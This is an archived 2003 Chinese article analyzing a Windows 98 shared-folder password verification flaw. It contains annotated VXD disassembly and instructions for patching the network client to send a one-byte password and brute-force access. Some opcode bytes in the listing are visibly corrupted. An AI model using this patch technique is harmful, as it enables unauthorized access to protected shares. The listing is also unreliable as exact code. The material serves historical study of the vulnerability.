老文章档案 · 2003 年

WINDOWS98共享目录密码校验BUG的分析

赢政天下 [WINZHENG.COM] · 网络学院 · 2003-06-08 · 作者:liangs 人气: · 出处:赢政天下收集整理)

WINDOWS98的共享目录密码校验有BUG。下面是文件VSERVER。VXD中密码校验过程调用的有BUG的一段程序。

3647是判断客户端密码是不是输入没密码,这时密码项内容是0X20,空格。不是就转 LOC-0444。365A判断客户端通过网络通信发过来的加密后密码长度是0X18吗,一般都是。这转LOC-0447去把共享目录密码加密同网络通信过来的密码比较,通过TEST EAX,EAX设置ZF标记判断密码对不对。如果密码长度不是0X18,可能是别的什么方式的密码比较,这儿密码是明码没加密。再判断密码长度大于9不,共享密码长度是1-8个字母数字等。下面就是比较密码,后面的循环是以ECX密码长度和ZF标记为结束条件。显然这儿应该有BUG,这密码长度ECX应该是本声密码的长度,而这儿密码长度是网络通信发过来的数据。所以我发过来的数据是1就只比较了一个密码的最前面字节。如果这一字节对就ZF=0因ECX=0退出结果是校验密码成功。

03647 loc_0442: ; xref 03635

03647 66| 83 3A 20 cmp word ptr [edx],20h ;THE SHARE PASSWORD

0364B 75 0D jne short loc_0444 ; Jump if not equal

0364D B8 08460002 mov eax,8460002h

03652 F9 stc ; Set carry flag

03653 C9 leave ; Procedure exit

03654 C3 retn

03655 loc_0443: ; xref 03640, 3645

03655 80 3F 00 cmp byte ptr [edi],0

03658 74 26 je short loc_0446; Jump if equal

0365A loc_0444: ; xref 0364B

0365A 83 F9 18 cmp ecx,18h ; THIS HAS BUG FOUND BY YRG 1999.1.15

0365D 74 24 je short loc_0447 ; Jump if equal

0365F 83 F9 09 cmp ecx,9

03662 77 1C ja short loc_0446 ; Jump if above

03664 F5 cmc ; Complement carry

03665 83 D9 00 sbb ecx,0

03668 51 push ecx

03669 53 push ebx

0366A 8B 1D 000137F4 mov ebx,dword ptr data_0461 ; (137F4=137FCh)

03670 8B F2 mov esi,edx

03672 2B C0 sub eax,eax

03674 4F dec edi

03675 locloop_0445: ; xref 0367C

03675 47 inc edi

03676 AC lodsb ; String [si] to al

03677 8A 04 18 mov al,[eax][ebx]

0367A 3A 07 cmp al,[edi] ;BUG !!! I CAN SET ECX=1

0367C E1 F7 loopdz locloop_0445 ; Loop if zf=1, ecx>0

0367E 5B pop ebx

0367F 59 pop ecx

03680 loc_0446: ; xref 03658, 3662, 36A1

03680 鶩8 clc ; Clear carry flag

03681 C9 leave ; Procedure exit

03682 C3 retn

03683 loc_0447: ; xref 0365D

03683 81 EC 000000E4 sub esp,0E4h

03689 8B C4 mov eax,esp

0368B 60 pushad ; Save all regs

0368C ?2 push edx ; PARAMETER_4

0368D 50 push eax ; PARAMETER_3

0368E 8B 45 08 mov eax,dword ptr [ebp+PARAMETER_1]

03691 8B 40 24 mov eax,dword ptr [eax+24h]

03694 50 push eax ; PARAMETER_2

03695 57 push edi ; PARAMETER_1

03696 E8 000036A1 call sub_0054 ; (06D3C)

0369B 83 C4 10 add esp,10h

0369E 85 C0 test eax,eax

036A0 61 popad ; Restore all regs

036A1 EB DD jmp short loc_0446

好了,那就找客户端发密码的代码。下面是VREDIR。VXD的这段相关代码。

15FCE的18H就是前面的那比较18H的。这儿改成可以1。CALL SUB-0067是加密输入的密码的过程调用。15FEA 的

EDX是指向输入的密码的指针。所以15FE9可以改成MOV AL,[EDX],

MOV [ECX],AL

JMP 15FF4

就可以。这样进入有密码的共享目录就可以用字母A-Z,数字0-9等试会很快的进入目录的。当然最好那儿自动

这么变化那AL,免得每次还要输入可以加快速度。

15FC8 8B 4D EC mov ecx,dword ptr [ebp-14h]

15FCB 8B 55 F4 mov edx,dword ptr [ebp-0Ch]

15FCE 66| C7 41 07 0018 mov word ptr [ecx+7],18h; PASSWORD LONG

15FD4 83 C1 07 add ecx,7

15FD7 83 C2 35 add edx,35h

15FDA 8B 45 F8 mov eax,dword ptr [ebp-8]

15FDD 83 C0 6C add eax,6Ch

15FE0 89 4D F0 mov dword ptr [ebp-10h],ecx

15FE3 8B 4D EC mov ecx,dword ptr [ebp-14h]

15FE6 83 C1 0B add ecx,0Bh

15FE9 51 push ecx ;LOCKED PASSWORD SET HERE

15FEA 52 push edx ;PASSWORD POINTER

15FEB 50 push eax

15FEC E8 FFFF0EC5 call sub_0067 ; LOCK THE PASSWORD ; (06EB6)

15FF1 83 C4 0C add esp,0Ch

15FF4 EB 71 jmp short loc_1765 (出处:赢政天下收集整理)

相关文章:

·破解API Spy for Windows 95/98/NT/2000

·Windows 非法操作详解

·中文版Windows9x 重要文件描述

·windows XP下的向量化异常处理

·Windows程序

·Windows消息

·GSview V4.12 for Windows注册算法分析

·Windows System Optimizer V3.1算法分析

·简单算法——Windows设置大师 2003 Build 0415

·Windows系统切换工具

相关软件:

·Windows 98 ME版时间限制破解器

·windows cracker 2.0e破解

·Windows系统医生 v1.0破解文件

·Windows进程管理 v3.0.1注册码

·windows进程管理大师 3.01注册码

·Windows Media Player Classic V6.4.5.8 For Win9x/Me 英文版

·CDBF for Windows V1.12 汉化版

·Windows优化大师 V4.0 Build 0808

·文件加密工具fedt for windows v1.5

·Windows XP 2480 简体中文版

→ 特别推荐

→ 热点TOP10

关于我们 |

帮助(?)

| 广告服务 |

版权声明 |

商业合作 |

发展历程 |

加盟我们 |

联系我们

Copyright © 1999-2003

winzheng.com All Rights Reserved.

繁体版:由华琦数码技术提供

Powered

by:MeSky.Net

2003-2004 年,宽带刚刚普及,下载站的文章区是许多人学电脑的第一课堂。
🕰 → 🤖 从那时到现在

当年一篇教程能让一台电脑焕然一新;今天的效率工具换成了 AI。 想知道当下最可靠的 AI 模型怎么选?看 赢政指数——我们用了 28 年的选软件严谨,现在用来评测大模型。

档案性质声明:本页为赢政天下(1998-2011)老文章的历史档案复原, 内容反映当年发表时的原貌——包括当年的技术表述、软件版本与观点,部分方法在今天已不适用或不合规,仅作互联网历史记录与研究用途, 不提供任何形式的下载。原始数据经由公共网络存档(Internet Archive)复原。发现问题请联系我们
← 返回老文章档案 · 软件史档案馆 · 赢政天下站史